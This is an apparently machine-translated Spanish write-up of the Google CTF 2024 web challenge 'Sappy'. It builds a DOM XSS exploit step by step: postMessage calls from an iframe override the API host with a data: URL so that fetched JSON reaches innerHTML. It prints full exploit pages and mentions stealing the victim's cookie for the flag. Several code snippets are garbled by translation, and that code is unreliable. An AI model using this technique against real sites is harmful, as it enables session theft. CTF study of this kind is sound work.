XSS en Sappy (escrito parcial) / Sudo Null IT News

Introducción

Recientemente hubo un CTF de Google, tras el cual se publicaron los códigos fuente y los exploits para las tareas.

En este artículo me gustaría analizar más de cerca una tarea web de un CTF reciente de Google llamada “Sappy”.

Al momento de resolver la tarea, al participante se le entregó un código fuente limitado para el problema.

Actualmente lleno código fuente del proyecto disponible en el repositorio de GitHub. Ahora podemos decir que el directorio estaba accesible. desafío.

Análisis de código

Antes de comenzar, introduzcamos algunas definiciones básicas.

Dominar DOM Invader: buscar DOM XSS y Prototype Pollution usando el ejemplo de cinco laboratorios y una vulnerabilidad en Habré

Fuente
Una propiedad de JavaScript que acepta datos potencialmente controlados por el usuario. Una fuente de ejemplo es la propiedad location.search porque lee la entrada de una cadena de consulta, que es relativamente fácil de manipular. En última instancia, cualquier propiedad que pueda ser controlada por el usuario es una Fuente potencial. Esto incluye la URL de origen (document.referrer), la cookie de usuario (document.cookie) y los mensajes web (lea más sobre los mensajes web). Aquí).

Hundir
Una función JavaScript u objeto DOM potencialmente peligroso que podría causar una vulnerabilidad si se pasan datos controlados por el usuario. Por ejemplo, la función eval() es un receptor porque trata el argumento que se le pasa como JavaScript. Un ejemplo de HTML-Sink es document.body.innerHTML, ya que potencialmente permite inyectar HTML y ejecutar JavaScript arbitrario.

Artilugio
Pequeños fragmentos de código que se pueden utilizar para explotar vulnerabilidades. Los gadgets se suelen utilizar en cadenas de vulnerabilidad para lograr un mayor impacto. También se utilizan para eludir medidas de seguridad, escalar privilegios o ejecutar código arbitrario.

Después de familiarizarnos con el código fuente, deberíamos habernos interesado en el archivo. sap.htmlque abre el archivo sap.js.

El sumidero potencial se encuentra en esta sección de código:

window.addEventListener(
	"message",
	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
				API.host = data.host;
				break;
			}
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
			const resp = await fetch(url);
			if (resp.status !== 200) {
				console.error("something went wrong");
				return;
			}
			const json = await resp.json();
			if (typeof json.html === "string") {
				output.innerHTML = json.html;
			}
			break;
			}
		}
	},
	false
);

Hundir:

output.innerHTML = json.html;

Cadena de gadgets:

  • Pasar datos de usuario al detector de eventos

  • Anular API.host

  • Formación de parámetros url usando API.host y data.page

  • Solicitud AJAX para url usando fetch()

  • La respuesta de la solicitud en formato json contiene la clave. htmlcuyo valor se sustituye en fregadero

Preparación de hazañas.

Pasar datos de usuario al detector de eventos

Para explotar esta sección de código, debe transferirle de alguna manera los datos del usuario (fuente). Para ello se utiliza el método addEventListener()

MDN:

Método EventTarget.addEventListener() registra un controlador de eventos específico llamado EventTarget.

EventTarget Tal vez Element, Document, Windowo cualquier otro objeto habilitado para eventos (como XMLHttpRequest).

Sintaxis

target.addEventListener(type, listener(, options)); ...

type
Cadena que distingue entre mayúsculas y minúsculas y que representa tipo de evento procesado.

listener
Objeto que recibe una notificación cuando ha ocurrido un evento del tipo especificado. Este debe ser un objeto que implemente la interfaz. EventListener o simplemente Función JavaScript.

Controlar la fuente del mensaje web(traducción literal)

Si la página maneja los mensajes web entrantes de forma insegura, por ejemplo al no validar correctamente origin de mensajes entrantes al detector de eventos, las propiedades y funciones llamadas por el detector de eventos pueden convertirse en receptores. Por ejemplo, un atacante podría colocar un sitio malicioso iframe y usa el método postMessage() para pasar los datos del mensaje web al detector de eventos vulnerable, que luego envía la carga útil al receptor en la página principal. Este comportamiento significa que puede utilizar mensajes web como fuente para distribuir datos maliciosos a cualquiera de estos receptores.

Aquellos. para ejecutar el método postMessage() En nuestro exploit, se deben cumplir las siguientes condiciones:

  • Presencia de un detector de eventos de tipo “mensaje” en la aplicación atacada

    addEventListener("message", ...)
  • Usar datos de un evento

    addEventListener("message", funciton(event) {
    	eval(event.data);
    })
  • Falta de medidas de protección contra el uso de iframes

Entonces nuestro exploit en esta etapa (gadget) podría verse así:

<iframe src=" onload="this.contentWindow.postMessage('print()','*')">

Anulación de API.host

	async (event) => {
		let data = event.data;
		if (typeof data !== "string") return;
		data = JSON.parse(data);
		const method = data.method;
		switch (method) {
			case "initialize": {
				if (!data.host) return;
  					API.host = data.host;
  					break;
			}

Para anular API.hostla fuente debe estar en formato JSON y contener claves method con significado "initialize" y host con un valor arbitrario:

Entonces el exploit en esta etapa puede verse así:

<iframe src=" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"...\"}","*")'>

Formando el parámetro de URL usando API.host y data.page

const Uri = goog.require("goog.Uri");
...
		case "render": {
			if (typeof data.page !== "string") return;
			const url = buildUrl({
				host: API.host,
				page: data.page,
			});
		}

...
function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}
...

function getHost(options) {
if (!options.host) {
	const u = Uri.parse(document.location);
	return u.scheme + "://sappy-web.2024.ctfcompetition.com";
}
	return validate(options.host);
}

Como puede ver en el parámetro de código. API.host Comprobado la presencia de una cuerda. "://sappy-web.2024.ctfcompetition.com"pero sin comprobar el circuito.

Aquí nos familiarizamos con el esquema de datos.

DATOS del esquema:,

Puede encontrar una descripción general del esquema en el RFC.

Solicitud de cotización:

   Some applications that use URLs also have a need to embed (small)
   media type data directly inline. This document defines a new URL
   scheme that would work like 'immediate addressing'. The URLs are of
   the form:

                    data:(<mediatype>)(;base64),<data>

   The <mediatype> is an Internet media type specification (with
   optional parameters.) The appearance of ";base64" means that the data
   is encoded as base64. Without ";base64", the data (as a sequence of
   octets) is represented using ASCII encoding for octets inside the
   range of safe URL characters and using the standard %xx hex encoding
   of URLs for octets outside that range.  If <mediatype> is omitted, it
   defaults to text/plain;charset=US-ASCII.  As a shorthand,
   "text/plain" can be omitted but the charset parameter supplied.
   A data URL might be used for arbitrary types of data. The URL

                          data:,A%20brief%20note

   encodes the text/plain string "A brief note", which might be useful
   in a footnote link.

Nos interesa la siguiente información

Wiki:

La URI de datos mínima es data:,que consta del esquema, ningún tipo de medio y datos de longitud cero.

Por lo tanto, dentro de la sintaxis URI general, un URI de datos consta de una esquema y un caminosin autoridad parte, cadena de consultao fragmento. El opcional tipo de medioel opcional base64 indicador y los datos son todas partes de la ruta URI.

De todo lo descrito anteriormente, concluimos que para utilizar este esquema basta con indicar data:{что угодно},{полезные данные}.

Entonces la carga útil de este gadget se verá así:

data://sappy-web.2024.ctfcompetition.com/,{payload}

Y el exploit se verá así:

<iframe src=" onload='this.contentWindow.postMessage("{\"method\":\"initialize\",\"host\":\"data://sappy-web.2024.ctfcompetition.com/,{payload}\"}","*")'>

Solicitud AJAX a la URL usando fetch()

A continuación, necesita conocer algunas características del trabajo con búsqueda y promesa.

Promesa

Tutorial de JavaScript moderno:

Una Promesa es un objeto especial que contiene su propio estado. Al principio pending(“esperando”), luego uno de: fulfilled (“completado exitosamente”) o rejected (“completado con error”).

La forma de utilizarlo, en términos generales, es la siguiente:

  1. El código que necesita hacer algo crea un objeto de forma asincrónica promise y lo devuelve.

  2. Código externo, habiendo recibido promisele adjunta controladores.

  3. Cuando se completa el proceso, el código asincrónico se traduce promise agitado fulfilled (con resultado) o rejected (con un error). En este caso, se llama automáticamente a los controladores correspondientes en el código externo.

buscar()

MDN:

El global fetch() El método inicia el proceso de obtención de un recurso de la red y devuelve una promesa que se cumple una vez que la respuesta está disponible.

(traducción literal): “método global fetch() inicia el proceso de obtención de un recurso de la red, devolviendo una promesa que se cumplirá (estado fulfilled), tan pronto como la respuesta esté disponible.”

La promesa se resuelve en el Response objeto que representa la respuesta a su solicitud.

(traducción literal): “La promesa se resuelve en un objeto. Responserepresentando la respuesta a su solicitud.

A fetch() La promesa solo se rechaza cuando la solicitud falla, por ejemplo, debido a una URL de solicitud mal formada o un error de red. fetch() promesa no lo hace rechazar si el servidor responde con códigos de estado HTTP que indican errores (404, 504etc.). En cambio, un then() El manipulador debe comprobarlo Response.ok y/o Response.status propiedades.

(traducción literal): “Promesa fetch() se rechaza solo si la solicitud falla, como debido a una URL de solicitud con formato incorrecto o un error de red. Promesa fetch() no rechaza una solicitud si el servidor responde con códigos de estado HTTP que indican errores (404, 504 etc.). En cambio el manejador then() debe verificar las propiedades Response.ok y/o Response.status.

Es importante para nosotros que ante cualquier respuesta del servidor, fetch() Todavía devolverá una promesa con una respuesta, pero hablaremos de eso más adelante.

cuando llamas fetchdevuelve una promesa, que se analiza en un objeto Respuesta. Para acceder a los campos del objeto de respuesta, es necesario esperar a que se resuelva esta promesa.

Esto se puede hacer de varias maneras: usando cadenas de promesa (.then()) o usando awaitdentro de una función asincrónica.

Ejemplo sin await:

fetch("
  .then(response => {
    // Теперь у вас есть объект Response
    console.log(response.status); // Пример доступа к полю статуса
    return response.text(); // Если вы ожидаете текстовый ответ
  })

await fetch() utilizado dentro de una función asincrónica para esperar la resolución de una promesa que devuelve fetch(). Esto facilita el trabajo con operaciones asincrónicas porque le permite escribir código que parece sincrónico.

Ejemplo con await:

async function fetchData() { 
  const response = await fetch(' 
  const data = await response.json(); 
  console.log(data); 
} 
fetchData();

En esta etapa, el detector de eventos necesita enviar dos eventos.

<iframe id="myIframe" src=" onload=sendMessages()></iframe>
<script>
	function sendMessages() {
		const iframe = document.getElementById('myIframe');
		const iframeWindow = iframe.contentWindow;
		const messages = (
			'{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
			'{"method": "render", "page": \\",{payload}\\"}"}'
		);
		messages.forEach(message => {
		iframeWindow.postMessage(message, "*");
		});
	}
</script>

Nota. Aquí he transferido la carga útil principal al valor clave. "page" por conveniencia.

La respuesta a la solicitud en formato json contiene la clave html, cuyo valor se sustituye en el receptor

const json = await resp.json();
if (typeof json.html === "string") {
	output.innerHTML = json.html;
}

Si utilizamos el método fetch() para solicitar un recurso en formato json, luego de recibir la respuesta del servidor puede usar el método Response.json().

Existe un recurso para probar dicha funcionalidad: https://mdn.github.io/dom-examples/fetch/fetch-json/.

DIRECCIÓN devuelve una matriz de objetos JSON.

Nota 1. en argumentos fetch() se especifica una dirección relativa, porque la solicitud se ejecutó en la consola de la barra de herramientas de un recurso específico.

Nota 2. Método json() también devuelve promesa, por lo que usamos await para conseguir el objeto.

Ahora usamos el esquema. data:,{payload} con datos json como carga útil {"foo":"bar"} en URI y método json():

Y vemos que los datos de url devuelto como un objeto JSON de la respuesta.

Resulta que el código se parece a:

res = await fetch(url);
foo = await res.json();

nos permite crear diferentes objetos json dentro del mismo dominio usando esquema data:, y promesas de método fetch().

recordamos que url formado al concatenar dos fuentes con un valor de cadena "/sap/":

function buildUrl(options) {
	return getHost(options) + "/sap/" + options.page;
}

Para que la carga útil se vea así:

'data://sappy-web.2024.ctfcompetition.com/sap,{"html":"<img src=x onerror=alert(1)>"}'

Entonces el exploit final se verá así:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <iframe id="myIframe" src=" onload=sendMessages()></iframe>
    <script>
        function sendMessages() {
            const iframe = document.getElementById('myIframe');
            const iframeWindow = iframe.contentWindow;

            const messages = (
            '{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/"}',
            '{"method": "render", "page": ",{\\"html\\":\\"<img src=x onerror=alert(1)>\\"}"}'
            );

            messages.forEach(message => {
                iframeWindow.postMessage(message, "*");
            });
        }
    </script>
</body>
</html>

Al momento de escribir este artículo explotar de Google se ve así:

window.postMessage('{"method": "initialize","host": "data://sappy-web.2024.ctfcompetition.com/,{\\"html\\":\\"<img src=x onerror=alert(1)>"}');
window.postMessage('{"method": "render", "page": "page1\\"}"}')

Finalmente, para obtener la bandera, tuvimos que cambiar el exploit para que xss enviara la cookie de la víctima a un recurso bajo nuestro control.

A continuación, guarde este exploit en un recurso controlado, pase la URL de este recurso en el campo URL del bloque “Comparte tus aprendizajes”:

Si todo se hace correctamente se obtendrá la bandera junto con la cookie.

Publicaciones Similares

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *